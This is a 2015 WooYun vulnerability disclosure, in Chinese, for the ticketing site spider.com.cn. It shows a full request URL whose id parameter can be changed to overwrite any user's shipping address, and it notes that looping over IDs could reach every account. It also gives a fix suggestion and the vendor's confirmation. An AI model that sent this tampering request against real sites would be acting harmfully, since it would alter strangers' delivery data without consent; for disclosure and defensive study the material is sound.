当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145004

漏洞标题:蜘蛛网修改任意用户收货地址(可遍历修改)

相关厂商:万丰文化

漏洞作者: 冰点契约

提交时间:2015-10-08 11:03

修复时间:2015-11-22 11:24

公开时间:2015-11-22 11:24

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-08: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-18: 细节向核心白帽子及相关领域专家公开
2015-10-28: 细节向普通白帽子公开
2015-11-07: 细节向实习白帽子公开
2015-11-22: 细节向公众公开

简要描述:

蜘蛛网修改任意用户收货地址(可遍历修改),本来是准备查用户地址来着,结果无意中发现某处缺陷可修改任意用户的收货地址

详细说明:

注、修改地址时要事先登陆一个账号才可以修改,否则会报错,修改失败。
1、找到修改地址页面,随便输入信息后点修改

1.png

2、fiddler截取修改请求,得到如下修改请求的链接(要先登陆任意账号)

http://www.spider.com.cn/newuserjquery.action?usertype=first010&id=310872&name=123&province=%E4%B8%8A%E6%B5%B7%E5%B8%82&city=%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%8C%BA&region=%E9%BB%84%E6%B5%A6%E5%8C%BA&address=test&zip=200070&mobile=110&mainflag=checked&tel=


3、修改用户ID访问,可以修改成功,成功信息如下截图

2.png


4、循环修改用户ID可修改全站账户收货地址,这个、就不试了。。

漏洞证明:

http://www.spider.com.cn/newuserjquery.action?usertype=first010&id=310872&name=123&province=%E4%B8%8A%E6%B5%B7%E5%B8%82&city=%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%8C%BA&region=%E9%BB%84%E6%B5%A6%E5%8C%BA&address=test&zip=200070&mobile=110&mainflag=checked&tel=


2.png

修复方案:

别用ID做修改的标志

版权声明:转载请注明来源 冰点契约@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-08 11:23

厂商回复:

修改用户ID,进行提交

最新状态:

暂无


漏洞评价:

评价